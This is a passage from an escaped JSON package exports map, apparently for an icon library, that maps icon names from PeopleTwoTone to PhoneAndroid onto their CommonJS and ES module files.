\"./PeopleTwoTone.js\",\n      \"default\": \"./PeopleTwoTone.mjs\"\n    },\n    \"./Percent\": {\n      \"import\": \"./Percent.mjs\",\n      \"require\": \"./Percent.js\",\n      \"default\": \"./Percent.mjs\"\n    },\n    \"./PercentOutlined\": {\n      \"import\": \"./PercentOutlined.mjs\",\n      \"require\": \"./PercentOutlined.js\",\n      \"default\": \"./PercentOutlined.mjs\"\n    },\n    \"./PercentRounded\": {\n      \"import\": \"./PercentRounded.mjs\",\n      \"require\": \"./PercentRounded.js\",\n      \"default\": \"./PercentRounded.mjs\"\n    },\n    \"./PercentSharp\": {\n      \"import\": \"./PercentSharp.mjs\",\n      \"require\": \"./PercentSharp.js\",\n      \"default\": \"./PercentSharp.mjs\"\n    },\n    \"./PercentTwoTone\": {\n      \"import\": \"./PercentTwoTone.mjs\",\n      \"require\": \"./PercentTwoTone.js\",\n      \"default\": \"./PercentTwoTone.mjs\"\n    },\n    \"./PermCameraMic\": {\n      \"require\": \"./PermCameraMic.js\",\n      \"import\": \"./PermCameraMic.mjs\",\n      \"default\": \"./PermCameraMic.mjs\"\n    },\n    \"./PermCameraMicOutlined\": {\n      \"require\": \"./PermCameraMicOutlined.js\",\n      \"import\": \"./PermCameraMicOutlined.mjs\",\n      \"default\": \"./PermCameraMicOutlined.mjs\"\n    },\n    \"./PermCameraMicRounded\": {\n      \"require\": \"./PermCameraMicRounded.js\",\n      \"import\": \"./PermCameraMicRounded.mjs\",\n      \"default\": \"./PermCameraMicRounded.mjs\"\n    },\n    \"./PermCameraMicSharp\": {\n      \"require\": \"./PermCameraMicSharp.js\",\n      \"import\": \"./PermCameraMicSharp.mjs\",\n      \"default\": \"./PermCameraMicSharp.mjs\"\n    },\n    \"./PermCameraMicTwoTone\": {\n      \"require\": \"./PermCameraMicTwoTone.js\",\n      \"import\": \"./PermCameraMicTwoTone.mjs\",\n      \"default\": \"./PermCameraMicTwoTone.mjs\"\n    },\n    \"./PermContactCalendar\": {\n      \"require\": \"./PermContactCalendar.js\",\n      \"import\": \"./PermContactCalendar.mjs\",\n      \"default\": \"./PermContactCalendar.mjs\"\n    },\n    \"./PermContactCalendarOutlined\": {\n      \"require\": \"./PermContactCalendarOutlined.js\",\n      \"import\": \"./PermContactCalendarOutlined.mjs\",\n      \"default\": \"./PermContactCalendarOutlined.mjs\"\n    },\n    \"./PermContactCalendarRounded\": {\n      \"require\": \"./PermContactCalendarRounded.js\",\n      \"import\": \"./PermContactCalendarRounded.mjs\",\n      \"default\": \"./PermContactCalendarRounded.mjs\"\n    },\n    \"./PermContactCalendarSharp\": {\n      \"require\": \"./PermContactCalendarSharp.js\",\n      \"import\": \"./PermContactCalendarSharp.mjs\",\n      \"default\": \"./PermContactCalendarSharp.mjs\"\n    },\n    \"./PermContactCalendarTwoTone\": {\n      \"require\": \"./PermContactCalendarTwoTone.js\",\n      \"import\": \"./PermContactCalendarTwoTone.mjs\",\n      \"default\": \"./PermContactCalendarTwoTone.mjs\"\n    },\n    \"./PermDataSetting\": {\n      \"require\": \"./PermDataSetting.js\",\n      \"import\": \"./PermDataSetting.mjs\",\n      \"default\": \"./PermDataSetting.mjs\"\n    },\n    \"./PermDataSettingOutlined\": {\n      \"require\": \"./PermDataSettingOutlined.js\",\n      \"import\": \"./PermDataSettingOutlined.mjs\",\n      \"default\": \"./PermDataSettingOutlined.mjs\"\n    },\n    \"./PermDataSettingRounded\": {\n      \"require\": \"./PermDataSettingRounded.js\",\n      \"import\": \"./PermDataSettingRounded.mjs\",\n      \"default\": \"./PermDataSettingRounded.mjs\"\n    },\n    \"./PermDataSettingSharp\": {\n      \"import\": \"./PermDataSettingSharp.mjs\",\n      \"require\": \"./PermDataSettingSharp.js\",\n      \"default\": \"./PermDataSettingSharp.mjs\"\n    },\n    \"./PermDataSettingTwoTone\": {\n      \"import\": \"./PermDataSettingTwoTone.mjs\",\n      \"require\": \"./PermDataSettingTwoTone.js\",\n      \"default\": \"./PermDataSettingTwoTone.mjs\"\n    },\n    \"./PermDeviceInformation\": {\n      \"require\": \"./PermDeviceInformation.js\",\n      \"import\": \"./PermDeviceInformation.mjs\",\n      \"default\": \"./PermDeviceInformation.mjs\"\n    },\n    \"./PermDeviceInformationOutlined\": {\n      \"require\": \"./PermDeviceInformationOutlined.js\",\n      \"import\": \"./PermDeviceInformationOutlined.mjs\",\n      \"default\": \"./PermDeviceInformationOutlined.mjs\"\n    },\n    \"./PermDeviceInformationRounded\": {\n      \"import\": \"./PermDeviceInformationRounded.mjs\",\n      \"require\": \"./PermDeviceInformationRounded.js\",\n      \"default\": \"./PermDeviceInformationRounded.mjs\"\n    },\n    \"./PermDeviceInformationSharp\": {\n      \"import\": \"./PermDeviceInformationSharp.mjs\",\n      \"require\": \"./PermDeviceInformationSharp.js\",\n      \"default\": \"./PermDeviceInformationSharp.mjs\"\n    },\n    \"./PermDeviceInformationTwoTone\": {\n      \"import\": \"./PermDeviceInformationTwoTone.mjs\",\n      \"require\": \"./PermDeviceInformationTwoTone.js\",\n      \"default\": \"./PermDeviceInformationTwoTone.mjs\"\n    },\n    \"./PermIdentity\": {\n      \"import\": \"./PermIdentity.mjs\",\n      \"require\": \"./PermIdentity.js\",\n      \"default\": \"./PermIdentity.mjs\"\n    },\n    \"./PermIdentityOutlined\": {\n      \"import\": \"./PermIdentityOutlined.mjs\",\n      \"require\": \"./PermIdentityOutlined.js\",\n      \"default\": \"./PermIdentityOutlined.mjs\"\n    },\n    \"./PermIdentityRounded\": {\n      \"import\": \"./PermIdentityRounded.mjs\",\n      \"require\": \"./PermIdentityRounded.js\",\n      \"default\": \"./PermIdentityRounded.mjs\"\n    },\n    \"./PermIdentitySharp\": {\n      \"require\": \"./PermIdentitySharp.js\",\n      \"import\": \"./PermIdentitySharp.mjs\",\n      \"default\": \"./PermIdentitySharp.mjs\"\n    },\n    \"./PermIdentityTwoTone\": {\n      \"require\": \"./PermIdentityTwoTone.js\",\n      \"import\": \"./PermIdentityTwoTone.mjs\",\n      \"default\": \"./PermIdentityTwoTone.mjs\"\n    },\n    \"./PermMedia\": {\n      \"require\": \"./PermMedia.js\",\n      \"import\": \"./PermMedia.mjs\",\n      \"default\": \"./PermMedia.mjs\"\n    },\n    \"./PermMediaOutlined\": {\n      \"require\": \"./PermMediaOutlined.js\",\n      \"import\": \"./PermMediaOutlined.mjs\",\n      \"default\": \"./PermMediaOutlined.mjs\"\n    },\n    \"./PermMediaRounded\": {\n      \"require\": \"./PermMediaRounded.js\",\n      \"import\": \"./PermMediaRounded.mjs\",\n      \"default\": \"./PermMediaRounded.mjs\"\n    },\n    \"./PermMediaSharp\": {\n      \"require\": \"./PermMediaSharp.js\",\n      \"import\": \"./PermMediaSharp.mjs\",\n      \"default\": \"./PermMediaSharp.mjs\"\n    },\n    \"./PermMediaTwoTone\": {\n      \"require\": \"./PermMediaTwoTone.js\",\n      \"import\": \"./PermMediaTwoTone.mjs\",\n      \"default\": \"./PermMediaTwoTone.mjs\"\n    },\n    \"./PermPhoneMsg\": {\n      \"require\": \"./PermPhoneMsg.js\",\n      \"import\": \"./PermPhoneMsg.mjs\",\n      \"default\": \"./PermPhoneMsg.mjs\"\n    },\n    \"./PermPhoneMsgOutlined\": {\n      \"require\": \"./PermPhoneMsgOutlined.js\",\n      \"import\": \"./PermPhoneMsgOutlined.mjs\",\n      \"default\": \"./PermPhoneMsgOutlined.mjs\"\n    },\n    \"./PermPhoneMsgRounded\": {\n      \"require\": \"./PermPhoneMsgRounded.js\",\n      \"import\": \"./PermPhoneMsgRounded.mjs\",\n      \"default\": \"./PermPhoneMsgRounded.mjs\"\n    },\n    \"./PermPhoneMsgSharp\": {\n      \"require\": \"./PermPhoneMsgSharp.js\",\n      \"import\": \"./PermPhoneMsgSharp.mjs\",\n      \"default\": \"./PermPhoneMsgSharp.mjs\"\n    },\n    \"./PermPhoneMsgTwoTone\": {\n      \"require\": \"./PermPhoneMsgTwoTone.js\",\n      \"import\": \"./PermPhoneMsgTwoTone.mjs\",\n      \"default\": \"./PermPhoneMsgTwoTone.mjs\"\n    },\n    \"./PermScanWifi\": {\n      \"require\": \"./PermScanWifi.js\",\n      \"import\": \"./PermScanWifi.mjs\",\n      \"default\": \"./PermScanWifi.mjs\"\n    },\n    \"./PermScanWifiOutlined\": {\n      \"import\": \"./PermScanWifiOutlined.mjs\",\n      \"require\": \"./PermScanWifiOutlined.js\",\n      \"default\": \"./PermScanWifiOutlined.mjs\"\n    },\n    \"./PermScanWifiRounded\": {\n      \"import\": \"./PermScanWifiRounded.mjs\",\n      \"require\": \"./PermScanWifiRounded.js\",\n      \"default\": \"./PermScanWifiRounded.mjs\"\n    },\n    \"./PermScanWifiSharp\": {\n      \"import\": \"./PermScanWifiSharp.mjs\",\n      \"require\": \"./PermScanWifiSharp.js\",\n      \"default\": \"./PermScanWifiSharp.mjs\"\n    },\n    \"./PermScanWifiTwoTone\": {\n      \"import\": \"./PermScanWifiTwoTone.mjs\",\n      \"require\": \"./PermScanWifiTwoTone.js\",\n      \"default\": \"./PermScanWifiTwoTone.mjs\"\n    },\n    \"./Person\": {\n      \"import\": \"./Person.mjs\",\n      \"require\": \"./Person.js\",\n      \"default\": \"./Person.mjs\"\n    },\n    \"./Person2\": {\n      \"import\": \"./Person2.mjs\",\n      \"require\": \"./Person2.js\",\n      \"default\": \"./Person2.mjs\"\n    },\n    \"./Person2Outlined\": {\n      \"require\": \"./Person2Outlined.js\",\n      \"import\": \"./Person2Outlined.mjs\",\n      \"default\": \"./Person2Outlined.mjs\"\n    },\n    \"./Person2Rounded\": {\n      \"require\": \"./Person2Rounded.js\",\n      \"import\": \"./Person2Rounded.mjs\",\n      \"default\": \"./Person2Rounded.mjs\"\n    },\n    \"./Person2Sharp\": {\n      \"require\": \"./Person2Sharp.js\",\n      \"import\": \"./Person2Sharp.mjs\",\n      \"default\": \"./Person2Sharp.mjs\"\n    },\n    \"./Person2TwoTone\": {\n      \"require\": \"./Person2TwoTone.js\",\n      \"import\": \"./Person2TwoTone.mjs\",\n      \"default\": \"./Person2TwoTone.mjs\"\n    },\n    \"./Person3\": {\n      \"require\": \"./Person3.js\",\n      \"import\": \"./Person3.mjs\",\n      \"default\": \"./Person3.mjs\"\n    },\n    \"./Person3Outlined\": {\n      \"require\": \"./Person3Outlined.js\",\n      \"import\": \"./Person3Outlined.mjs\",\n      \"default\": \"./Person3Outlined.mjs\"\n    },\n    \"./Person3Rounded\": {\n      \"require\": \"./Person3Rounded.js\",\n      \"import\": \"./Person3Rounded.mjs\",\n      \"default\": \"./Person3Rounded.mjs\"\n    },\n    \"./Person3Sharp\": {\n      \"require\": \"./Person3Sharp.js\",\n      \"import\": \"./Person3Sharp.mjs\",\n      \"default\": \"./Person3Sharp.mjs\"\n    },\n    \"./Person3TwoTone\": {\n      \"require\": \"./Person3TwoTone.js\",\n      \"import\": \"./Person3TwoTone.mjs\",\n      \"default\": \"./Person3TwoTone.mjs\"\n    },\n    \"./Person4\": {\n      \"require\": \"./Person4.js\",\n      \"import\": \"./Person4.mjs\",\n      \"default\": \"./Person4.mjs\"\n    },\n    \"./Person4Outlined\": {\n      \"require\": \"./Person4Outlined.js\",\n      \"import\": \"./Person4Outlined.mjs\",\n      \"default\": \"./Person4Outlined.mjs\"\n    },\n    \"./Person4Rounded\": {\n      \"require\": \"./Person4Rounded.js\",\n      \"import\": \"./Person4Rounded.mjs\",\n      \"default\": \"./Person4Rounded.mjs\"\n    },\n    \"./Person4Sharp\": {\n      \"require\": \"./Person4Sharp.js\",\n      \"import\": \"./Person4Sharp.mjs\",\n      \"default\": \"./Person4Sharp.mjs\"\n    },\n    \"./Person4TwoTone\": {\n      \"require\": \"./Person4TwoTone.js\",\n      \"import\": \"./Person4TwoTone.mjs\",\n      \"default\": \"./Person4TwoTone.mjs\"\n    },\n    \"./PersonAdd\": {\n      \"require\": \"./PersonAdd.js\",\n      \"import\": \"./PersonAdd.mjs\",\n      \"default\": \"./PersonAdd.mjs\"\n    },\n    \"./PersonAddAlt\": {\n      \"require\": \"./PersonAddAlt.js\",\n      \"import\": \"./PersonAddAlt.mjs\",\n      \"default\": \"./PersonAddAlt.mjs\"\n    },\n    \"./PersonAddAlt1\": {\n      \"require\": \"./PersonAddAlt1.js\",\n      \"import\": \"./PersonAddAlt1.mjs\",\n      \"default\": \"./PersonAddAlt1.mjs\"\n    },\n    \"./PersonAddAlt1Outlined\": {\n      \"require\": \"./PersonAddAlt1Outlined.js\",\n      \"import\": \"./PersonAddAlt1Outlined.mjs\",\n      \"default\": \"./PersonAddAlt1Outlined.mjs\"\n    },\n    \"./PersonAddAlt1Rounded\": {\n      \"require\": \"./PersonAddAlt1Rounded.js\",\n      \"import\": \"./PersonAddAlt1Rounded.mjs\",\n      \"default\": \"./PersonAddAlt1Rounded.mjs\"\n    },\n    \"./PersonAddAlt1Sharp\": {\n      \"require\": \"./PersonAddAlt1Sharp.js\",\n      \"import\": \"./PersonAddAlt1Sharp.mjs\",\n      \"default\": \"./PersonAddAlt1Sharp.mjs\"\n    },\n    \"./PersonAddAlt1TwoTone\": {\n      \"require\": \"./PersonAddAlt1TwoTone.js\",\n      \"import\": \"./PersonAddAlt1TwoTone.mjs\",\n      \"default\": \"./PersonAddAlt1TwoTone.mjs\"\n    },\n    \"./PersonAddAltOutlined\": {\n      \"require\": \"./PersonAddAltOutlined.js\",\n      \"import\": \"./PersonAddAltOutlined.mjs\",\n      \"default\": \"./PersonAddAltOutlined.mjs\"\n    },\n    \"./PersonAddAltRounded\": {\n      \"require\": \"./PersonAddAltRounded.js\",\n      \"import\": \"./PersonAddAltRounded.mjs\",\n      \"default\": \"./PersonAddAltRounded.mjs\"\n    },\n    \"./PersonAddAltSharp\": {\n      \"require\": \"./PersonAddAltSharp.js\",\n      \"import\": \"./PersonAddAltSharp.mjs\",\n      \"default\": \"./PersonAddAltSharp.mjs\"\n    },\n    \"./PersonAddAltTwoTone\": {\n      \"require\": \"./PersonAddAltTwoTone.js\",\n      \"import\": \"./PersonAddAltTwoTone.mjs\",\n      \"default\": \"./PersonAddAltTwoTone.mjs\"\n    },\n    \"./PersonAddDisabled\": {\n      \"require\": \"./PersonAddDisabled.js\",\n      \"import\": \"./PersonAddDisabled.mjs\",\n      \"default\": \"./PersonAddDisabled.mjs\"\n    },\n    \"./PersonAddDisabledOutlined\": {\n      \"require\": \"./PersonAddDisabledOutlined.js\",\n      \"import\": \"./PersonAddDisabledOutlined.mjs\",\n      \"default\": \"./PersonAddDisabledOutlined.mjs\"\n    },\n    \"./PersonAddDisabledRounded\": {\n      \"require\": \"./PersonAddDisabledRounded.js\",\n      \"import\": \"./PersonAddDisabledRounded.mjs\",\n      \"default\": \"./PersonAddDisabledRounded.mjs\"\n    },\n    \"./PersonAddDisabledSharp\": {\n      \"require\": \"./PersonAddDisabledSharp.js\",\n      \"import\": \"./PersonAddDisabledSharp.mjs\",\n      \"default\": \"./PersonAddDisabledSharp.mjs\"\n    },\n    \"./PersonAddDisabledTwoTone\": {\n      \"require\": \"./PersonAddDisabledTwoTone.js\",\n      \"import\": \"./PersonAddDisabledTwoTone.mjs\",\n      \"default\": \"./PersonAddDisabledTwoTone.mjs\"\n    },\n    \"./PersonAddOutlined\": {\n      \"require\": \"./PersonAddOutlined.js\",\n      \"import\": \"./PersonAddOutlined.mjs\",\n      \"default\": \"./PersonAddOutlined.mjs\"\n    },\n    \"./PersonAddRounded\": {\n      \"import\": \"./PersonAddRounded.mjs\",\n      \"require\": \"./PersonAddRounded.js\",\n      \"default\": \"./PersonAddRounded.mjs\"\n    },\n    \"./PersonAddSharp\": {\n      \"import\": \"./PersonAddSharp.mjs\",\n      \"require\": \"./PersonAddSharp.js\",\n      \"default\": \"./PersonAddSharp.mjs\"\n    },\n    \"./PersonAddTwoTone\": {\n      \"import\": \"./PersonAddTwoTone.mjs\",\n      \"require\": \"./PersonAddTwoTone.js\",\n      \"default\": \"./PersonAddTwoTone.mjs\"\n    },\n    \"./PersonOff\": {\n      \"import\": \"./PersonOff.mjs\",\n      \"require\": \"./PersonOff.js\",\n      \"default\": \"./PersonOff.mjs\"\n    },\n    \"./PersonOffOutlined\": {\n      \"import\": \"./PersonOffOutlined.mjs\",\n      \"require\": \"./PersonOffOutlined.js\",\n      \"default\": \"./PersonOffOutlined.mjs\"\n    },\n    \"./PersonOffRounded\": {\n      \"import\": \"./PersonOffRounded.mjs\",\n      \"require\": \"./PersonOffRounded.js\",\n      \"default\": \"./PersonOffRounded.mjs\"\n    },\n    \"./PersonOffSharp\": {\n      \"import\": \"./PersonOffSharp.mjs\",\n      \"require\": \"./PersonOffSharp.js\",\n      \"default\": \"./PersonOffSharp.mjs\"\n    },\n    \"./PersonOffTwoTone\": {\n      \"import\": \"./PersonOffTwoTone.mjs\",\n      \"require\": \"./PersonOffTwoTone.js\",\n      \"default\": \"./PersonOffTwoTone.mjs\"\n    },\n    \"./PersonOutline\": {\n      \"import\": \"./PersonOutline.mjs\",\n      \"require\": \"./PersonOutline.js\",\n      \"default\": \"./PersonOutline.mjs\"\n    },\n    \"./PersonOutlineOutlined\": {\n      \"import\": \"./PersonOutlineOutlined.mjs\",\n      \"require\": \"./PersonOutlineOutlined.js\",\n      \"default\": \"./PersonOutlineOutlined.mjs\"\n    },\n    \"./PersonOutlineRounded\": {\n      \"import\": \"./PersonOutlineRounded.mjs\",\n      \"require\": \"./PersonOutlineRounded.js\",\n      \"default\": \"./PersonOutlineRounded.mjs\"\n    },\n    \"./PersonOutlineSharp\": {\n      \"import\": \"./PersonOutlineSharp.mjs\",\n      \"require\": \"./PersonOutlineSharp.js\",\n      \"default\": \"./PersonOutlineSharp.mjs\"\n    },\n    \"./PersonOutlineTwoTone\": {\n      \"import\": \"./PersonOutlineTwoTone.mjs\",\n      \"require\": \"./PersonOutlineTwoTone.js\",\n      \"default\": \"./PersonOutlineTwoTone.mjs\"\n    },\n    \"./PersonOutlined\": {\n      \"import\": \"./PersonOutlined.mjs\",\n      \"require\": \"./PersonOutlined.js\",\n      \"default\": \"./PersonOutlined.mjs\"\n    },\n    \"./PersonPin\": {\n      \"import\": \"./PersonPin.mjs\",\n      \"require\": \"./PersonPin.js\",\n      \"default\": \"./PersonPin.mjs\"\n    },\n    \"./PersonPinCircle\": {\n      \"import\": \"./PersonPinCircle.mjs\",\n      \"require\": \"./PersonPinCircle.js\",\n      \"default\": \"./PersonPinCircle.mjs\"\n    },\n    \"./PersonPinCircleOutlined\": {\n      \"import\": \"./PersonPinCircleOutlined.mjs\",\n      \"require\": \"./PersonPinCircleOutlined.js\",\n      \"default\": \"./PersonPinCircleOutlined.mjs\"\n    },\n    \"./PersonPinCircleRounded\": {\n      \"import\": \"./PersonPinCircleRounded.mjs\",\n      \"require\": \"./PersonPinCircleRounded.js\",\n      \"default\": \"./PersonPinCircleRounded.mjs\"\n    },\n    \"./PersonPinCircleSharp\": {\n      \"import\": \"./PersonPinCircleSharp.mjs\",\n      \"require\": \"./PersonPinCircleSharp.js\",\n      \"default\": \"./PersonPinCircleSharp.mjs\"\n    },\n    \"./PersonPinCircleTwoTone\": {\n      \"import\": \"./PersonPinCircleTwoTone.mjs\",\n      \"require\": \"./PersonPinCircleTwoTone.js\",\n      \"default\": \"./PersonPinCircleTwoTone.mjs\"\n    },\n    \"./PersonPinOutlined\": {\n      \"import\": \"./PersonPinOutlined.mjs\",\n      \"require\": \"./PersonPinOutlined.js\",\n      \"default\": \"./PersonPinOutlined.mjs\"\n    },\n    \"./PersonPinRounded\": {\n      \"import\": \"./PersonPinRounded.mjs\",\n      \"require\": \"./PersonPinRounded.js\",\n      \"default\": \"./PersonPinRounded.mjs\"\n    },\n    \"./PersonPinSharp\": {\n      \"import\": \"./PersonPinSharp.mjs\",\n      \"require\": \"./PersonPinSharp.js\",\n      \"default\": \"./PersonPinSharp.mjs\"\n    },\n    \"./PersonPinTwoTone\": {\n      \"import\": \"./PersonPinTwoTone.mjs\",\n      \"require\": \"./PersonPinTwoTone.js\",\n      \"default\": \"./PersonPinTwoTone.mjs\"\n    },\n    \"./PersonRemove\": {\n      \"import\": \"./PersonRemove.mjs\",\n      \"require\": \"./PersonRemove.js\",\n      \"default\": \"./PersonRemove.mjs\"\n    },\n    \"./PersonRemoveAlt1\": {\n      \"import\": \"./PersonRemoveAlt1.mjs\",\n      \"require\": \"./PersonRemoveAlt1.js\",\n      \"default\": \"./PersonRemoveAlt1.mjs\"\n    },\n    \"./PersonRemoveAlt1Outlined\": {\n      \"import\": \"./PersonRemoveAlt1Outlined.mjs\",\n      \"require\": \"./PersonRemoveAlt1Outlined.js\",\n      \"default\": \"./PersonRemoveAlt1Outlined.mjs\"\n    },\n    \"./PersonRemoveAlt1Rounded\": {\n      \"import\": \"./PersonRemoveAlt1Rounded.mjs\",\n      \"require\": \"./PersonRemoveAlt1Rounded.js\",\n      \"default\": \"./PersonRemoveAlt1Rounded.mjs\"\n    },\n    \"./PersonRemoveAlt1Sharp\": {\n      \"import\": \"./PersonRemoveAlt1Sharp.mjs\",\n      \"require\": \"./PersonRemoveAlt1Sharp.js\",\n      \"default\": \"./PersonRemoveAlt1Sharp.mjs\"\n    },\n    \"./PersonRemoveAlt1TwoTone\": {\n      \"import\": \"./PersonRemoveAlt1TwoTone.mjs\",\n      \"require\": \"./PersonRemoveAlt1TwoTone.js\",\n      \"default\": \"./PersonRemoveAlt1TwoTone.mjs\"\n    },\n    \"./PersonRemoveOutlined\": {\n      \"import\": \"./PersonRemoveOutlined.mjs\",\n      \"require\": \"./PersonRemoveOutlined.js\",\n      \"default\": \"./PersonRemoveOutlined.mjs\"\n    },\n    \"./PersonRemoveRounded\": {\n      \"require\": \"./PersonRemoveRounded.js\",\n      \"import\": \"./PersonRemoveRounded.mjs\",\n      \"default\": \"./PersonRemoveRounded.mjs\"\n    },\n    \"./PersonRemoveSharp\": {\n      \"require\": \"./PersonRemoveSharp.js\",\n      \"import\": \"./PersonRemoveSharp.mjs\",\n      \"default\": \"./PersonRemoveSharp.mjs\"\n    },\n    \"./PersonRemoveTwoTone\": {\n      \"require\": \"./PersonRemoveTwoTone.js\",\n      \"import\": \"./PersonRemoveTwoTone.mjs\",\n      \"default\": \"./PersonRemoveTwoTone.mjs\"\n    },\n    \"./PersonRounded\": {\n      \"require\": \"./PersonRounded.js\",\n      \"import\": \"./PersonRounded.mjs\",\n      \"default\": \"./PersonRounded.mjs\"\n    },\n    \"./PersonSearch\": {\n      \"require\": \"./PersonSearch.js\",\n      \"import\": \"./PersonSearch.mjs\",\n      \"default\": \"./PersonSearch.mjs\"\n    },\n    \"./PersonSearchOutlined\": {\n      \"require\": \"./PersonSearchOutlined.js\",\n      \"import\": \"./PersonSearchOutlined.mjs\",\n      \"default\": \"./PersonSearchOutlined.mjs\"\n    },\n    \"./PersonSearchRounded\": {\n      \"require\": \"./PersonSearchRounded.js\",\n      \"import\": \"./PersonSearchRounded.mjs\",\n      \"default\": \"./PersonSearchRounded.mjs\"\n    },\n    \"./PersonSearchSharp\": {\n      \"require\": \"./PersonSearchSharp.js\",\n      \"import\": \"./PersonSearchSharp.mjs\",\n      \"default\": \"./PersonSearchSharp.mjs\"\n    },\n    \"./PersonSearchTwoTone\": {\n      \"require\": \"./PersonSearchTwoTone.js\",\n      \"import\": \"./PersonSearchTwoTone.mjs\",\n      \"default\": \"./PersonSearchTwoTone.mjs\"\n    },\n    \"./PersonSharp\": {\n      \"require\": \"./PersonSharp.js\",\n      \"import\": \"./PersonSharp.mjs\",\n      \"default\": \"./PersonSharp.mjs\"\n    },\n    \"./PersonTwoTone\": {\n      \"require\": \"./PersonTwoTone.js\",\n      \"import\": \"./PersonTwoTone.mjs\",\n      \"default\": \"./PersonTwoTone.mjs\"\n    },\n    \"./PersonalInjury\": {\n      \"require\": \"./PersonalInjury.js\",\n      \"import\": \"./PersonalInjury.mjs\",\n      \"default\": \"./PersonalInjury.mjs\"\n    },\n    \"./PersonalInjuryOutlined\": {\n      \"require\": \"./PersonalInjuryOutlined.js\",\n      \"import\": \"./PersonalInjuryOutlined.mjs\",\n      \"default\": \"./PersonalInjuryOutlined.mjs\"\n    },\n    \"./PersonalInjuryRounded\": {\n      \"require\": \"./PersonalInjuryRounded.js\",\n      \"import\": \"./PersonalInjuryRounded.mjs\",\n      \"default\": \"./PersonalInjuryRounded.mjs\"\n    },\n    \"./PersonalInjurySharp\": {\n      \"require\": \"./PersonalInjurySharp.js\",\n      \"import\": \"./PersonalInjurySharp.mjs\",\n      \"default\": \"./PersonalInjurySharp.mjs\"\n    },\n    \"./PersonalInjuryTwoTone\": {\n      \"require\": \"./PersonalInjuryTwoTone.js\",\n      \"import\": \"./PersonalInjuryTwoTone.mjs\",\n      \"default\": \"./PersonalInjuryTwoTone.mjs\"\n    },\n    \"./PersonalVideo\": {\n      \"require\": \"./PersonalVideo.js\",\n      \"import\": \"./PersonalVideo.mjs\",\n      \"default\": \"./PersonalVideo.mjs\"\n    },\n    \"./PersonalVideoOutlined\": {\n      \"require\": \"./PersonalVideoOutlined.js\",\n      \"import\": \"./PersonalVideoOutlined.mjs\",\n      \"default\": \"./PersonalVideoOutlined.mjs\"\n    },\n    \"./PersonalVideoRounded\": {\n      \"require\": \"./PersonalVideoRounded.js\",\n      \"import\": \"./PersonalVideoRounded.mjs\",\n      \"default\": \"./PersonalVideoRounded.mjs\"\n    },\n    \"./PersonalVideoSharp\": {\n      \"require\": \"./PersonalVideoSharp.js\",\n      \"import\": \"./PersonalVideoSharp.mjs\",\n      \"default\": \"./PersonalVideoSharp.mjs\"\n    },\n    \"./PersonalVideoTwoTone\": {\n      \"require\": \"./PersonalVideoTwoTone.js\",\n      \"import\": \"./PersonalVideoTwoTone.mjs\",\n      \"default\": \"./PersonalVideoTwoTone.mjs\"\n    },\n    \"./PestControl\": {\n      \"require\": \"./PestControl.js\",\n      \"import\": \"./PestControl.mjs\",\n      \"default\": \"./PestControl.mjs\"\n    },\n    \"./PestControlOutlined\": {\n      \"require\": \"./PestControlOutlined.js\",\n      \"import\": \"./PestControlOutlined.mjs\",\n      \"default\": \"./PestControlOutlined.mjs\"\n    },\n    \"./PestControlRodent\": {\n      \"require\": \"./PestControlRodent.js\",\n      \"import\": \"./PestControlRodent.mjs\",\n      \"default\": \"./PestControlRodent.mjs\"\n    },\n    \"./PestControlRodentOutlined\": {\n      \"require\": \"./PestControlRodentOutlined.js\",\n      \"import\": \"./PestControlRodentOutlined.mjs\",\n      \"default\": \"./PestControlRodentOutlined.mjs\"\n    },\n    \"./PestControlRodentRounded\": {\n      \"require\": \"./PestControlRodentRounded.js\",\n      \"import\": \"./PestControlRodentRounded.mjs\",\n      \"default\": \"./PestControlRodentRounded.mjs\"\n    },\n    \"./PestControlRodentSharp\": {\n      \"require\": \"./PestControlRodentSharp.js\",\n      \"import\": \"./PestControlRodentSharp.mjs\",\n      \"default\": \"./PestControlRodentSharp.mjs\"\n    },\n    \"./PestControlRodentTwoTone\": {\n      \"require\": \"./PestControlRodentTwoTone.js\",\n      \"import\": \"./PestControlRodentTwoTone.mjs\",\n      \"default\": \"./PestControlRodentTwoTone.mjs\"\n    },\n    \"./PestControlRounded\": {\n      \"require\": \"./PestControlRounded.js\",\n      \"import\": \"./PestControlRounded.mjs\",\n      \"default\": \"./PestControlRounded.mjs\"\n    },\n    \"./PestControlSharp\": {\n      \"require\": \"./PestControlSharp.js\",\n      \"import\": \"./PestControlSharp.mjs\",\n      \"default\": \"./PestControlSharp.mjs\"\n    },\n    \"./PestControlTwoTone\": {\n      \"import\": \"./PestControlTwoTone.mjs\",\n      \"require\": \"./PestControlTwoTone.js\",\n      \"default\": \"./PestControlTwoTone.mjs\"\n    },\n    \"./Pets\": {\n      \"import\": \"./Pets.mjs\",\n      \"require\": \"./Pets.js\",\n      \"default\": \"./Pets.mjs\"\n    },\n    \"./PetsOutlined\": {\n      \"import\": \"./PetsOutlined.mjs\",\n      \"require\": \"./PetsOutlined.js\",\n      \"default\": \"./PetsOutlined.mjs\"\n    },\n    \"./PetsRounded\": {\n      \"import\": \"./PetsRounded.mjs\",\n      \"require\": \"./PetsRounded.js\",\n      \"default\": \"./PetsRounded.mjs\"\n    },\n    \"./PetsSharp\": {\n      \"import\": \"./PetsSharp.mjs\",\n      \"require\": \"./PetsSharp.js\",\n      \"default\": \"./PetsSharp.mjs\"\n    },\n    \"./PetsTwoTone\": {\n      \"require\": \"./PetsTwoTone.js\",\n      \"import\": \"./PetsTwoTone.mjs\",\n      \"default\": \"./PetsTwoTone.mjs\"\n    },\n    \"./Phishing\": {\n      \"require\": \"./Phishing.js\",\n      \"import\": \"./Phishing.mjs\",\n      \"default\": \"./Phishing.mjs\"\n    },\n    \"./PhishingOutlined\": {\n      \"require\": \"./PhishingOutlined.js\",\n      \"import\": \"./PhishingOutlined.mjs\",\n      \"default\": \"./PhishingOutlined.mjs\"\n    },\n    \"./PhishingRounded\": {\n      \"import\": \"./PhishingRounded.mjs\",\n      \"require\": \"./PhishingRounded.js\",\n      \"default\": \"./PhishingRounded.mjs\"\n    },\n    \"./PhishingSharp\": {\n      \"import\": \"./PhishingSharp.mjs\",\n      \"require\": \"./PhishingSharp.js\",\n      \"default\": \"./PhishingSharp.mjs\"\n    },\n    \"./PhishingTwoTone\": {\n      \"import\": \"./PhishingTwoTone.mjs\",\n      \"require\": \"./PhishingTwoTone.js\",\n      \"default\": \"./PhishingTwoTone.mjs\"\n    },\n    \"./Phone\": {\n      \"import\": \"./Phone.mjs\",\n      \"require\": \"./Phone.js\",\n      \"default\": \"./Phone.mjs\"\n    },\n    \"./PhoneAndroid\": {\n      \"import\": \"./PhoneAndroid.mjs\",\n      \"require\": 